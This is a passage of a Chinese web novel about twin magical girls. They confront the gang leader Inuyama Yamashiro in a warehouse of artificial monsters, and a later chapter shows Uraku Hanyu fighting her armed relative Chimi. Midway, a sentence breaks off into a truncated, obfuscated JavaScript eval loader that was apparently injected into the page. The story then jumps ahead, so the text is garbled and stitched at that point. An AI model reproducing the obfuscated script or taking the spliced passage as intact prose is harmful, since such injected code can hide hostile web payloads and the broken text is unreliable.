二人说着,南流港的架子已经能被看到了。 “这些是以格雷伊是唯一的激活者为前提思考的,若是她不是唯一能激活那些罐头的人呢?”森山寺未雅说。 “激活和控制,控制比较致命吧,只是激活的话对我们而言数量并不是多大的问题。”森山寺未央思索了一番,“无论如何,先用防御屏障将那个周围围起来,即使发生了爆炸也别让遗留物飘散得太远了。按照以往的经验那些遗留物会自行消散,我们只需要确保魔物别跑到人群里去造成混乱就可以。” 那仓库近十多米高,内部层层叠叠堆满了两米高左右的不透明金属罐形容器,粗略计算下来也至少有近百人造魔物,虽然不知道格雷伊能控制几个,但即使只有一个跑出去在游行的人群中爆炸,造成的伤亡也会是恐怖的。 更恐怖的点在于,人造魔物的数量与神脉医院孤儿院的孤儿数量对不上,多出太多了。即使将人造魔物可以储存起来作为前提,百个人造魔物需要的实验素材基数也是个会令群众陷入恐慌的失踪人口数字。 “销毁方式的话果然还是得用火,效率最高。事态特殊,把主教棋子拿出来用吧,我们需要控制一些意外情况。”森山寺未雅点了点头说,“不久前那里有新的货运车卸货了,算下来现在货运车应该正在准备离开,人走了我们就动手。” “那些人也是这样想的吧。”森山寺未央点头,“总之我们尽可能地做我们能做到的,让那群家伙见识一下我们的羁绊!” “你到底还要重复这个词多少次?”森山寺未雅起了一身鸡皮疙瘩,“你就这么忘不掉之前看的那部动画片吗?” “因为我们是魔法少女!”森山寺未央确实忘不掉。 “快住手啊!”森山寺未雅捂住耳朵,“有别的什么可以用的吗?爱与和平什么的呢?” “天使有这种东西吗?”森山寺未央不这样觉得,“不过是叫这个名字而已吧。” “格雷伊的话,我们也并非完全无从下手。”森山寺未雅想到了什么,“之前你不是去和博蒙一对一采访过吗?记录什么的还在吗?” “存档在我手机里。”森山寺未央调出记事本递给森山寺未雅,“不许看别的页面哦。” “我尽量。”森山寺未雅接过了手机查看起来。 博蒙的语句里并没有什么特别重要的东西,原因是据她本人所说的,说出口就会被灭口。与此同时她的临终记录中也没多少与格雷伊相关的内容,除了那些近乎是躁狂症症状病发时口不择言地宣泄一般的词句们,激烈地表达着她的愤恨。 而她真正临终的时候大概是一言不发的吧,森山寺未雅想起那不经意间看到的一幕,她的死亡是注定的,而她本人也知晓这一点。在这一情况下博蒙却并没有将一些真相告诉森山寺未央,到底是真的为了保密,还是说她想多活一会? 这个问题的答案已经无从知晓了,森山寺未雅翻动记事本,一行一行地读下去。 “抱歉。”她忽然这样说道。 道歉的对象当然是森山寺未央,她本是无法共情的人,但此刻,奇迹般的,她能理解森山寺未雅在为何而道歉。不,或许并不是因为共情,森山寺未央心想,大概率是因为森山寺未雅一直都是这样的人,是她的姐姐。 “我当时确实很害怕啦!”森山寺未央比划着说,“她超吓人的,我都怕她蹦出来打我!或者说下一秒就横尸现场,不过比起这些,她真的不把普通人的生命放在眼里这一点更让我生气。” “她眼里大概没有谁真的能与她相提并论吧,天使也好,湛也好,我们也好,在她眼里都不过是微不足道的存在吧。阿贝尔家族真的没有遗传精神病史吗?”森山寺未雅把手机还回去,深深地叹了口气。 “怎么,有找到能用的东西吗?”森山寺未央问道。 “有一些吧,但根据格雷伊的精神状态,也可能是没有的。”森山寺未雅说。 “什么什么?和我讲讲呗,我就一点没看出来啊。”森山寺未央大为震惊。 “就是一些老掉牙的东西啦,相信则有不信则无,不过真要说的话我不推荐把全部希望寄托于这方面,你还是继续相信一下自爆士兵吧。”森山寺未雅摆了摆手说。 二人一路走到仓库附近,或许是因为大多数人都去了码头区域准备游行,仓库区除了大量货车驾驶座上出现的司机,并没有什么人在。这一点对于二人来说是好事,防御屏障发动之后并不能确保普通人就绝对闯不进来了。 但目的地的仓库入口旁,货车还在那里,并没有如森山寺未雅预料的那样按时离开。驾驶座的车门开着,车钥匙都还插在上面。 二人对视一眼,明白这是出现了一些变故。 【这个仓库的工人是Evo特派的,虽然也是普通人,但也是普通人中特别身强力壮的那一批了。但现在仓库里面几乎没什么动静,难道是人造魔物出问题了?】森山寺未雅预感不太好。 【但谁会对这些工人动手啊,不是我们,天使也不该主动杀自己人。】森山寺未央有些疑惑,【总之进去看看吧,门开着,锁是被强行撬开的。】 仓库的大门旁掉落着一把锁,是南流港仓库通用的型号。 大门半开着,里面灯光常亮,此时与白日之下的室外相比却也显得暗了不少。二人使用化影魔法进入其中,贴着柱子前进。 地面上,Evo特派的卸货工人横七竖八地倒着,都已经没了气息。 【都是被打断了脖子,一击毙命。】森山寺未雅说。 【…到底是谁啊。】森山寺未央感到惊悚又疑惑,现场几乎没有血迹,只有尸体,【而且基本上没有挣扎的痕迹。】 【朝里面走吧,那人应该还在里面,等新的谁进去。】森山寺未雅判断道。 顺着阴影前进,不一会就能听到在空旷的仓库里显得格外有存在感的呼吸声,那是一口长叹,配合隐约浮现的二手烟气息,一个抽烟者的形象在二人的脑子里浮现了出来。 仓库的深处,有个即使蹲坐在地上也能看出体型不小的人在抽烟,她右手手指夹着烟草,非常熟练地抖了抖,让烟灰落在地上,另一只手支在腿上,裸露在外的小臂上有可观的肌肉存在。她身穿白色衬衫,但整个人像是被暂时存放在这套体面衣物中的一头野兽一般格格不入,那被仔细束在脑后的长发此时也落在地上沾了灰尘。 【…普通人?】森山寺未雅没有察觉到魔力气息。 【特别强壮的小混混!】森山寺未央评价道,【这样看的话,说这些人都是她干掉的似乎也是说得过去的。那她算是和我们有同样的目标吧。】 【不好说,但是可以谈谈。】森山寺未雅思索着说,【谈谈吧,至少得知道她的身份和目的,实在不行我们就把她扔出去就好。】 二人商量好了之后,一同从柱子后面现身,走向了那正在抽烟的人。 在她们从影子中走出的那一刹那,抽烟者的瞳孔便锁定了二人所在的柱子,她百无聊赖地抖了抖烟灰,并没有站起来的意思。但随着二人的身影出现在她的眼前,她这才意识到来者并非那些倒在地上的人的同伙。 抽烟者眼皮稍微扬起了些,再次吐出一口尼古丁气息。 “你们是谁?”她的声音并没有因为烟草而变得沙哑,而是洪亮的,话说出口就在工厂里产生了回响,“那些尸体看到了吗?我杀掉的,小孩子知道怕了就快走吧。” “这里就你一个活人,我们当然知道是你杀的。”森山寺未央开口说道,“你又是谁啊?你知道这里都是些什么吗就跑到这里来抽烟?” “如果可以的话拜托你自行离开这里,一会这里会变得很危险哦。”森山寺未雅说。 “双胞胎?你们是姐妹?”那人完全没有跟上话题的意思,她自顾自地确认了这一点之后似乎是产生了什么兴趣一般,终于正过脸来看向二人。 她笑了,嘴角因为用力而显得尖锐,那笑容露出了太多的牙齿,真诚过度反而显得有些骇人了,那双眼睛也眯了起来,因为其主人的情绪化而变得明亮了一些。 看年龄的话大概是青年,但这笑容却让二人觉得这是个不会控制自己情绪的孩子。 “你们好呀!”她热情地打招呼,将烟头丢在地上,站起身用皮鞋鞋底踩灭,她站起之后那超乎常人的体型终于得以舒展开来。 “…天呐。”森山寺未央忍不住感慨出声。 她站起来后粗略一看与一些裸露在外的罐头器皿差不多高了,垂着头时看着也至少有两米,同时她又非常健硕,上半身的衬衫被撑开到足够展示手臂肌肉的程度,被衬衫背带束缚着,背后有两把与她上半身差不多长的刀鞘,把手在右肩肩头等候。 同时她的脚边有金属滚动,那是一根有些弯折了的钢棍,看样子是她从工地那边捡来的,用来杀死那些特派工人的武器。地上还有些碎裂的布料,大概是原本覆盖在那些罐头器皿上的,此时堆叠在一起。 “简直就是Boss的程度。”森山寺未雅评价道。 “Boss?”她对这个称呼有了反应,下巴微微扬起,“这个称呼也不错,不过我们家里的人大多数都叫我老大。” “敢问您尊姓大名?”森山寺未央感受到了强者的气息,不由得用词谨慎了起来。 “犬山家家主,犬山山白,正是本人!”犬山山白豪气地一拍胸口,那拍击声和她本人的声音一般洪亮,久久地回荡在工厂内部。 “是,是姓犬山的□□人士!”森山寺未央大为震惊,这两个用词放在一起在她看来有这不可忽视的违和感,连带着她看对方的眼神都奇怪了起来。 “正是!”犬山山白的笑容带着兴致,“二位又是如何称呼的?” “一定要说吗?万一说了被记住了,后面被找上门了怎么办?”森山寺未央非常谨慎。 “打架前告诉我名字的话我会记住你哦!这样你们就不致于变成地上这堆名字都叫不出来的尸体了,而且我们家也是有后事一条龙服务的,要现在预约吗?”犬山山白热情地介绍着自家的业务活动,表情真挚动人,语气不掺合任何负面情绪。 “既然是家主就不要亲自上阵打广告了吧!”森山寺未央觉得这样不行。 “这叫物尽其用,现在你会不会觉得犬山家还挺有亲和力的,家主亲自宣传,哪怕是原本不需要的产品也会产生购买欲望吧?”犬山山白煞有其事地说道。 “你的声音真的太大了。”森山寺未雅不得不主动阻止对方使用噪音攻击,“总之,我们并不是来和你打架的,犬山家主。” “我更倾向于直接被称呼名字,毕竟这个职位的人平均在任期是3年,都是殉职,怪不吉利的。”犬山山白丝毫没有收敛音量的意思,“既然你们不是来找我打架的那就请离开吧?今日诸事不顺,二位就别来打扰我干活了。” “犬山家族也是白夜社的一部分,我说的没错吧。”森山寺未雅看着对方的脸问道。 “…算是吧。”犬山山白沉默片刻,收敛了表情,但那也仅仅是让她的笑容从夸张到骇人降为隐约透露出原先的气息,在威慑力上并未产生变化。 连带着那种野兽般的眼睛也是,视线变为了正在窥视猎物的捕猎者一般的凝视。 “那你杀这些人做什么?”森山寺未央问道。 “想杀就杀了,诸事不顺,我总得想办法顺顺心。”犬山山白不以为意地说。 “不,你没有理由,也不能杀这些人。”森山寺未雅说,“作为家主你不至于这点都不知道,你做这些事的目的是什么?告诉我们吧,至少在你眼里我们看着还算是顺眼的吧。” “什么叫还算是顺眼啊?”森山寺未央觉得这个说法不准确,“看见我们很惊喜才对吧,不过我们看到你就是惊吓了,说真的你到底为什么这么高啊?” 犬山山白听后挠了挠脸,这表示困惑的动作由她做起来反而像是在示威。她的身高配合强壮已经超出了一个普通人可以达到的最高程度,通常来说过于高的人肌肉量都很难跟上,以此而导致虚弱。而身强力壮者大多身高无法达到这个程度。 二人仅从一部魔幻影视剧里见过一个同时兼顾高与壮的人,但身高也远不如犬山山白的海拔看着夸张。这样异常的情况很难让二人不去进行联想。 “总之,先告诉我名字吧?”犬山山白笑着岔开了话题。 “…这我们不可能告诉你的,该说抱歉吗?”毫无歉意的森山寺未雅思索着说,“看在我们大概率有着相同目标的情况下就请忽视这个问题吧。” “大概率是多大?我不太喜欢概率这个词啊。”犬山山白的声音压低了一些,“无法告诉我名字的话那就告诉我你们的目的吧。” “目的就是你站着的这个仓库,一开始就和你说了吧。”森山寺未央说。 “这些东西?”犬山山白踢了一脚一旁的器皿,金属质感的表层与皮鞋鞋底碰撞,发出不动人声响。 “就是这些。”森山寺未央说,“我们准备放火烧掉,你在这里的话会很危险的哦。” 听了这句话,犬山山白歪了歪头,打量着森山寺未央。 “能烧掉吗?”她开口问,语气是疑惑的,“我试过了,这个壳子是防火的诶。” “你居然试过吗?!”森山寺未央吓了一跳,“不过我们的做法是从里面开始烧,所以壳子防火也没关系。” 主教棋子具备的燃烧魔法是使目标从内往外进行烧却,在有足够魔力的情况下,目标身上的火焰是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【我没事!至少没大事。】森山寺未雅迅速确认了自己的状态,【我无法判断她有没有留手,先撤退。】 【嗯!】森山寺未央压抑住内心的愤怒和惊惧,【我来制造一些混乱。】 森山寺未央迅速在混乱之中对周围的环境和可利用的东西进行判断,随后她迅速抓起了那些篷布从高处跳下,不透明的防尘布掀起不值一提的脆弱屏障,下一刻,篷布燃烧了起来。 【先出去,这把火伤不到那些器皿的内部,我们出去后想其它办法。】森山寺未央说着,来到森山寺未雅的身边将她搀扶了起来。 而高温造成的扭曲中,犬山山白竟然折返跑向仓库深处,二人也来不及去管她的情况,迅速离开了仓库内部。 仓库建筑的高处有通风窗,二人从一个窗口跳出,站在了屋顶上开始大喘气。 “哇,吓死人了!”森山寺未央惊魂未定,“你伤口没事吧?” “已经在恢复了。”森山寺未雅点了点头说,“那个人,她的破坏力太过强大了,又偏偏只是个普通人。比起直接正面击溃,我还是觉得应该想个办法把她丢出去。” “她到底是想做什么?”森山寺未央还是非常纠结这个问题,“她难道说是想要那些人造魔物吗?她一个普通人要那些魔物做什么,而且她既没办法激活也没办法控制吧。” “说到底,她知道那里面是人造魔物吗?”森山寺未雅想了想,“应该是知道的,白夜社家族的家主对Evo的实验都有所了解,犬山山白没道理不知道。” “我觉得她哪怕不是那些天使,也应该是六十七号先生那样的存在,她看上去太——超出常理了,普通人没可能长成她那个样子吧。”森山寺未央对此深信不疑。 “碰——”另一扇窗户被打碎,是犬山山白跳了出来,二人一惊,顾不上讨论这个问题了,连忙准备应对即将到来的攻击。 “按照你们的说法,我确实是普通人啊。”犬山山白一边爬出来一边回答问题,“没有那种很想不通原理的技能,也没有奇怪的外表。” 她右手一撑,整个人翻了出来,在屋顶上翻身后站起,顺带拍了拍衣服上的灰尘和玻璃碎。她的武器被插回背上了,左手似乎护着什么东西,她站起身后第一件事就是确认左手抱着的那一坨灰扑扑的物品。 “衣服?”森山寺未雅认出了那一坨分不清头尾的东西。 “衣服。”犬山山白再次把确认完毕的那一坨衣物扔在一旁,转身看向了森山寺未雅,“好了,我们继续吧。” “等等,等等等等!”森山寺未央一下子跳了出来,“为什么你只打她啊?不对啊你为什么攻击我们,不对是杀了我们,你杀了我们有啥好处吗?先说好你不可能杀掉我们的!” “问题太多了吧?我姑且也是个家主,有疑问请打电话给我的二把手先。”犬山山白笑着再次抽出了背后的武器,这次二人看清了那是什么,那是一把约一米长的圆头刀,却是钝的,并没有刀刃该有的锋利感,让它被称为扁棍也不为过。 “…我的体术太烂了。”森山寺未雅倒是知道了问题所在。 “正确。”犬山山白说着,微微伏下身子向二人冲去,距离在一个呼吸间被缩短,森山寺未雅呼吸一滞,但森山寺未央并没有动,她聚气凝神,有无法被掌握发动时机的魔法在她的意识之间被准备完毕。 【给我停下来!】森山寺未央发动了精神控制魔法。 犬山山白脚步一滞,近乎要栽倒,但下一刻她恢复了步伐的稳定,头一歪,将目标改为了森山寺未央。 这是森山寺未央第一次对人类使用精神控制魔法,虽然可能是因为魔力输出控制的原因效果并不显著,但至少成功了! 【那把刀!】森山寺未雅预测到了,犬山山白在发现自己的动作会被控制后转为使用远程攻击,当然,她没什么魔法可以用,但她的刀不错。 【趴下!】森山寺未央增加了魔力输出,犬山山白准备掷出手中刀具的动作一滞,瞄准目标偏离,从森山寺未央的身旁飞过。 那把刀刀影子一闪而过,扎进仓库建筑天台上的水泥地里,只露出不到半截刀身和把手。 犬山山白从伏地状态一个前滚翻拔地而起,同时右手摸向后腰。 “等一下!”森山寺未雅顾不上其它问题,大吼着阻止对方,“你的二把手,你的家族里的其它人不知道你在这里,对不对?” 此话一出,犬山山白顿住了。 【她有枪,也是两把。】森山寺未雅气喘吁吁地解释了自己的行动原因。 在预测到的行动中,犬山山白开枪是不需要瞄准的。 “你想说什么?”犬山山白保持准备拔枪的姿势,原地不动。 “这里一会会有其它人来,你作为家主应该知道来的人是谁,她们很快就会到这里。”森山寺未雅说,“你不愿意自己被那些人看到吧。” “你现在离开这里的话还来得及,火焰会抹除很多东西。”森山寺未央也说,“你也见识到了,你是没办法杀掉我们的。” 看着这样的两个一模一样的人,犬山山白只是歪了歪头。 【她,是不是也被注射过生长激素什么的?也和六十七号先生那样看着是成年人但实际上心理年龄很小,所以思考方式很直白。】森山寺未央严重怀疑这一点。 【有可能,那就不能以一个成年人的角度去看她了。】森山寺未雅若有所思。 若是说,犬山山白是一个被注射过与六十七号所注射的相似药物,才得到这样的一副身躯的话,那她的所作所为就可以以另一种方式来解读。森山寺未雅细数了对方的行动,被看到脸就要灭口或许是谁的命令,对二人销毁魔物感到不满是因为她自己好奇那里面是什么,甚至她是瞒着其它人自己跑出来的。 可犬山家族的族长怎么会是这样的人呢?森山寺未雅感到矛盾。一个孩子是没有承担责任的心理承受能力的,无法承担责任也就无法承担权利。结合犬山山白所说的,犬山家主平均寿命三年,或许真正的掌权者反而是那位二把手。 而这位犬山山白作为家族的功效,大概就和她前面所作为的那样,是在给家族打广告吧,力量也好,业务也好,身上异于常人的地方也好。 【说得通。】森山寺未雅说。 【…那我们怎么办,给她家长告状吗?】森山寺未央感到头疼。 小孩子太闹腾了也是件麻烦事,何况这小孩还带着两把枪。 “你是想亲眼看看,那些器皿里的东西吗?”森山寺未雅问道。 “可以这么说。”犬山山白说着,站了起来。 “如果我们让你见一眼那其中的东西,你能不能别打扰我们做事啊?”森山寺未央好声好气地和对方商量,“然后我们就各奔东西,就当没见过彼此,如何?” 听闻这个建议,犬山山白思索了片刻,她庞大的身躯在原地停滞了一段时间。 【实在不行就只能把她扔进结界里了。】森山寺未央紧张地等待对方的反应。 【那确实是很糟糕的选择。】森山寺未雅说,她们以前没有过类似的经历,结果是未知的,未知代表风险。 “什么时候?”犬山山白问道,她似乎很不习惯问这种问题,说话有些慢。 “就现在,我们去拿一个出来,你看了就走。”森山寺未雅说。 “那个东西从外面打不开的,你们准备怎么做?”犬山山白问。 “我们有自己的办法!”森山寺未央得意地说,交换魔法可以交换两个物体的位置,就可以在不伤到内容物的情况下让对方看一眼人造魔物长什么样。 如果对方只是好奇的话,那这样的程度就足够敷衍过去了。 犬山山白再次开始思考,她思考时似乎是需要用尽全身力气的,整个人一动不动地站在那里,眼睛也不眨一下。 联想之前听到的其它白夜社家族家主的信息,森山寺未央觉得这些人真的都有够奇怪的。作为妨碍秩序的□□来说是可憎,作为亚贝琉控制的工具也是可怜。但无论如何,森山寺未央都不觉得轮得到自己去可怜这些人。 森山寺未雅也同样不这样觉得,犬山家主应该是知道今天有工人游行的,在这样的情况下她依旧坚持要见一眼这些魔物,哪怕是因为思想幼稚,也有些过于忽略结果了。或者说她根本就不在意普通人的生命吧。 不如说那仓库中的满地尸体就已经足够证明这一点了。 “可以,就这样做。”犬山山白最后点头说道。 75.INMATE-012 “有乐千奈顾问她,是个怎样的人呢?”在与花野真纪分开行动前,有乐羽生问了这个问题,“她都在做些什么事情,在这件事中又是处于一个怎样的位置呢?” 有乐羽生自认为对自己的母亲还算是有所了解了,在她刚学会隐身魔法的时期,她没少偷偷跟上母亲出门的车,或者在对方与她人推杯换盏交谈甚欢的时候蹲在宴会场所外的树枝上看。但结果大多令她失望,她的母亲在她面前是什么样,在别人面前也是什么样。 所以,有乐羽生想要求助花野真纪,听听她的看法。 但听到这个问题的花野真纪欲言又止许久,最后还是叹了口气开口了。 “野兽袭击事件就是她委派给我负责组织调查的,她的说法是那件事只不过是更大事件的起点,做个样子就好,多的不是她们要管的。”花野真纪正郁闷着,说话也没什么活力,“就和我的大多数上头一样吧,不过她作为那个什么顾问,比我的上头干的活多多了。” “可以想象啊。”有乐羽生可以想象出对方说出这句话时的表情,“她对那件事了解多少呢?” “她基本上不管这些,内部事务。”花野真纪想了想措辞,“她的职责是协调政府与那些家族之间的关系,以及权利的交替,而两边内部的事情一个搞不好就会牵连其中,所以她基本上不会主动出手干涉。她做的事目的全都是利益,而且她是个看得清利益走向的聪明人。” “所以如果无利可图,她不会主动干涉这件事的吧。”有乐羽生心里稍稍放心了。 “话确实可以这么说。”花野真纪眉头皱到了一起,“但我可不敢揣测她的想法,不如说虽然她主要管特警那边,但她想找我说话我也没办法锁门。” “哈哈哈!”有乐羽生笑了,“我母亲也是这样的!” 花野真纪听后也笑了笑,但很快神色郑重了起来,“你是不是没和你的母亲说过你的问题啊?” 有乐羽生明白,这是魔法少女身份的事情。 “…确实还没找到机会。”有乐羽生说,她能理解花野真纪会说些什么,但她了解自己的母亲更多,这件事对于有乐千奈来说不仅无利可图,还是个绝对棘手的事情。有乐羽生不敢想象自己真的把这件事告诉她时会发生什么,就只能一直找机会。 “这件事还是很重要的。”花野真纪表情有些纠结,“诶我真的不太擅长这种,但是你想啊,这件事拖的越晚你的母亲知道了就会更生气吧?” “啊,是啊。”有乐羽生也郁闷了起来,她怎么会不知道呢? “我能看出你是个不错的小孩,听我的吧,早点说。”花野真纪叹了口气,“这件事我没有什么发言权,只能这样劝你了。” “…我尽量吧。”有乐羽生只能这样敷衍过去了,她只能尽量找机会早点说。 两个郁闷的人分开了,此时路面上车流量多了起来,街角红绿灯口已经出现了一些举着牌子的人,一部分是游行参与者,一部分是支持同样理念的路人。 哪怕是路人,也会因为共同的理念而站在一起呢,有乐羽生看着心想。 被自己支持的人伤害在现代社会已经不是惊天大新闻了,各种民选官选举中这样的情况层出不穷。那些为了自己的理念而加入游行的人大多是在知道有这样的可能性的情况下依旧选择参与其中的。 街道上有治安人员确保没有人走到车道上,但车流依旧缓慢,形成了拥堵。 如果没解决之前的那些人,那眼前的这些人大概率是会遇到生命危险的吧,有乐羽生心想。同时她也想到若是告诉自己的母亲,那自己就没可能出手帮助花野真纪解决之前那件事了。但很快她又觉得这样是在找借口,不免变得更加郁闷了起来。 郁闷的心情无法散去,母亲的阴影无法忘记,有乐羽生在这样的心情中身穿到处游窜,解决了数起混乱事件。 有的是手持武器的,有的是精神状态不太对的,有的是结合两点特征的。有乐羽生没去管那些似乎是想浑水摸鱼偷东西的人,认为警察还是得干点活的。 即使是这样,随着街道上的人越来越多,不时会有人因为意外事件而产生混乱,混乱愈发扩张,最后街道上彻底喧闹了起来。有人开始尝试和警察搏斗,有的开始砸牌子或者用扩音器说些什么,有的把板子贴到因为拥堵而停下的车辆前方,逼迫别人看上面的文字。 但这些明面上的混乱有乐羽生很难干涉,她只能帮助一些遇到危险的无辜群众。 “谢谢你,滑雪镜同学!”被带着离开拥挤人群的小孩感谢道。 “不客气哦。”有乐羽生笑了笑,觉得这样的感觉还不错。 即使没有被称呼名字,这样救助别人后被感谢的自得感也是美好的,而这也是魔法少女的身份带给她的机会,有乐羽生心中的矛盾愈发扩大了。 找个机会,找个机会,找个什么机会呢?这样想着的有乐羽生,换上魔法少女装束,继续在巷子里游荡。 “真的能找到机会吗?”有乐羽生长叹一声,自言自语道。 “不会了。”有人擅自回答了她的自言自语。 有乐羽生一愣,抬头看去,前方的道路上不知何时出现了一个人。 那是个陌生人,比她高许多,身穿熟悉的没什么特点的白衬衫,黑色马甲与罩裙,白衬衫的袖口被黑色扣带固定在手肘以上的部位,小臂肌肉膨胀,臂背覆盖几道明显的疤。 她的脚边站着两个不明原型的机械生物,长约一米,纤细的黑色四肢着地,在她看去时那大概是头部的球体旋转,带着红光点的摄像头看向她,顿了顿。 但这些都比不上来者的那张面孔令有乐羽生感到惊奇,那是一张略微有些熟悉的面孔,银白发碎乱,五官锐利,眉头和下巴上有疤痕。她的左耳戴着像是耳机的东西,脖子上缠着绷带,但并没有让她带上哪怕丝毫的虚弱感。 这张脸,与有乐千奈相似,但又有着些许不同。可能是她更年轻,可能是因为她的碎发,可能是因为她太强壮了。但有乐羽生却又无法忽视那其中的相似感。 这个人就是有乐千实,有乐羽生心中有了判断。 “发现目标,有乐羽生。”那人右脚边的机械生物发声,是机械特有的无机制声波,无感情地呼叫出了有乐羽生的名字。它的前两个肢体移动了些许,那肢体扭动时质感是柔软的,轻盈到着地时没有发出任何声音。 “阿尔卡纳,记录,面部识别精准度要继续调试。”有乐千实说,她没有任何动作。 “已记录。”有乐千实左脚边的机械生物发出了声音。 有乐羽生一时不知道该说什么,心中保持警惕的同时也产生了好奇。 这个人就是有乐千实,被母亲刻意忽视的那个人,她曾经作为向往依赖的对象的那个人。与她想象中温柔可靠聪明坚强独立的姐姐截然不同,她眼前的有乐千实丝毫不掩饰身上的疤痕,仿佛那些是她的勋章一般,彰显攻击性。同时她的声音也与她想象中的,甚至与有乐千奈的声音大不相同,有乐千实说话像习惯性地在下命令。 有乐千实就是代号为报丧鸟的,有“说话的魔法”的那个人。 “您好,初次见面。”有乐羽生尝试与对方交流,“您就是有乐千实,没错吧?” “是我,能在这里遇到你算是你我走运。”有乐千实只是抬了抬下巴,“不过,我们并不是初次见面。” 这个动作会被母亲骂没礼貌的,有乐羽生心想。 “哦,您之前有来看过我对吗?”有乐羽生还记得格雷伊说的这件事。 “你知道。”有乐千实笑了,那不是一个看上去友好的笑,但有乐羽生知道有的人笑起来就是看上去不友好的。 “是的,我很小的时候就发现家里有一个人曾经住过!”有乐羽生笑着说起这件事,“那个时候我经常想象您是个什么样的人,现在总算是见到了。” 但她的笑容没有感染到有乐千实。 “如何?”有乐千实坦然地展示自己,双手展开,“我也一直在想,你会是怎样的。” “您的体魄十分强健呢。”有乐羽生真诚地夸赞道,“在您看来我又如何呢?” 无论是她本身,还是作为魔法少女,在有乐千实眼里她究竟是个怎样的存在呢? “不仅体魄强健,我是绝对的强者,而你怎样都无所谓。”有乐千实收回了双手,毫不留情地表达自己的冷漠态度,“既然我们已经见过面了,那么,接下来我会杀了你。” 空气一时安静,有乐羽生不敢相信自己听到了什么。她确实知道有乐千实是Evo的手下,与天使关系紧密,是格雷伊的老师,但她不理解,为何她突兀地会对自己抱有杀意。 那是纯粹的杀意,有乐羽生从那双眼里看到的坚定是不可否认的,于是在疑惑的同时,她抽出了魔剑准备战斗。 “花里胡哨。”有乐千实冷笑一声,“一号,狙击模式。” 闻言,她左脚边的机械生物快速变形,本只有一米长半米高的身体迅速变形展开,无数机械组织翻涌,攀升,膨胀,最后变为约两米高的黑色尖塔。一号向前移动,四肢着地依旧没有发出什么声音。 整个过程极快,仅不到五秒,有乐千实右手从后腰翻出一把造型与传统枪械不符的黑色铁块,抬起,那大概是瞄准的动作让有乐羽生意识到这大概是一把枪。 魔法可以使用,有乐羽生没有犹豫,使用空间魔法转移离开了原来的位置。光线一闪而过,瞬间膨胀为光束,有乐羽生原先所在的位置身后那面石墙轰然倒塌。 “发现目标。”尖塔的头部红光电再次旋转,锁定了出现在有乐千实身后的有乐羽生,它再次悄无声息地迅速移动,挡在有乐千实的身前。 “千实,阿姨。”有乐羽生没有放弃沟通,并尝试拉近距离,“虽然不知道过去发生了什么,但是我想,我们是可以谈谈的不是吗?谈了之后再决定要不要战斗吧?” 有乐千实一偏头,抬手就射击,她的表情没有丝毫的变化。 难道她也被洗脑了吗?有乐羽生心中有些焦急。若是如此,那她本该有个一起长大的阿姨陪在她身边的。 “你最好努力点。”有乐千实的提醒十分冷酷。 光线再次一闪而过,有乐羽生再次使用空间魔法避开。 这样下去虽然并不会出现致命的危险,但她的目标本就不是这个。 “千实阿姨,你是为什么想杀死我?”有乐羽生心痛地问道。 “别用那个恶心的称呼。”有乐千实皱眉,继续瞄准,这是第三次。 当然是没有命中。有乐羽生重新落在废墟中,心情复杂地看向有乐千实,她行动时完全不会顾忌建筑物的保护,也不考虑是否可能会伤害到普通人。 “一号,分析数据,追踪模式。”有乐千实命令道,下一刻尖塔从塔尖分开,如开花一般露出其中的内容,也就是原本作为脑袋部分的圆球。 一号四肢伸长了些,忽然裂开,变为八足,随后它忽然开始高速靠近有乐羽生。但这还不如被狙击时需要的反应速度,有乐羽生虽然有些疑惑,但也谨慎地准备离开原地。 【有乐羽生,停止行动。】忽然,有乐千实的声音在她的脑内传播。 魔法传音?有乐羽生一愣,但很快,她意识到有乐千实确实说话了,那声音同时在现实中与她的脑袋中回响。 有乐羽生愣神了一会,低头,发现一号机械生物已经来到了她的眼前,球形物体闪烁着危险的红光,那八足柔软而诡异,是由多段机械部件拼接而成的。 热能聚集,发光,是危险的预兆,有乐羽生习惯性地使用空间魔法,却发现自己动不了。 “说话的魔法”就是这样一回事,有乐羽生明白发生了什么,但此时她只能强行尝试避开这一攻击。 巨大的爆炸声从巷子里传出,吸引了一些视线和注意力。有乐羽生气喘吁吁地从地上爬了起来,她的侧腹部大面积烧伤了,虽然已经在愈合,但那锐利的尖痛让她不得不面对,有乐千实确实想杀死她,也真的有可能会杀死她,这一事实。 而这样的有乐千实,极有可能是她的家人,这样的可能性带来悲伤与疼痛混合在一起,让有乐羽生对一切的始作俑者愈发厌恶。 “你真的知道自己在做什么吗?”有乐羽生呼喊着,避开一号的靠近。 “杀死你,有乐羽生。”有乐千实还有闲心回答,【停止移动】。 这次有乐羽生在魔力聚集的前一刻就使用了空间魔法,但在半空中她无法行动,无法控制自己向下坠落。 “千实阿姨,我一直很向往你,你过去的事情我无法了解,但无论如何你的存在对我而言都是重要的!”有乐羽生从地上艰难地爬起。 “无用。”有乐千实不屑一顾,“你的向往无用,对你对我都无用。” “我们,本来可能是家人。”有乐羽生说出内心的想法。 【闭嘴,停止行动】,这是有乐千实的回应。 这样下去不行,有乐羽生意识到自己的呼唤无法让有乐千实动容,若是想让她听自己说话,至少要让对方先正视自己。 再次从地面爬起后,有乐羽生没有再开口,她右手抬起魔剑,手背抚过双眼,带着那银白色轻如羽毛的银白色剑体高举过头顶,那金属的光泽反射出她瞳孔的色彩,熠熠生辉。 凝聚魔力,凝聚注意力,更重要的是,凝聚自己的气息。有乐羽生深吸一口气,双翼伸展开来,拥抱周围的每一丝魔力,同时运转。 在微不可察的一瞬间,有乐羽生的结界在这世间具现化了,但还潜伏在她的身后。 “这才算是有用的挣扎。”有乐千实稍微眯起了眼睛,“一号,狩猎模式。” 下个瞬间,一号变回了最开始的模样,低调的一米长机械生物四肢着地,身上展开数个反刃,同时推进器启动,红光电也瞄准了抬起剑的有乐羽生。 有乐羽生也看向那机械生物,不如说是兵器,包括那把枪,它们是纯粹为了伤害别人而诞生的器械。Evo构建这些武器是用来杀人的,而且是用来杀大量的普通人。 这些杀戮有乐千实绝对参与其中,有乐羽生对这个事实感到悲哀,意识到按年龄来算对方年近三十,但却因走上了歧路没能意识到自己的所做所为是多么荒谬。 “魔法的重量,武器的重量,生命的重量,我能感受到的,我所记住的,就让我全部告诉你,我的亲人。”有乐羽生将剑高举,银光划过弧线,剑尖直指天空,“哪怕是不成熟的力量,此刻我也为它感到骄傲,请看吧。” 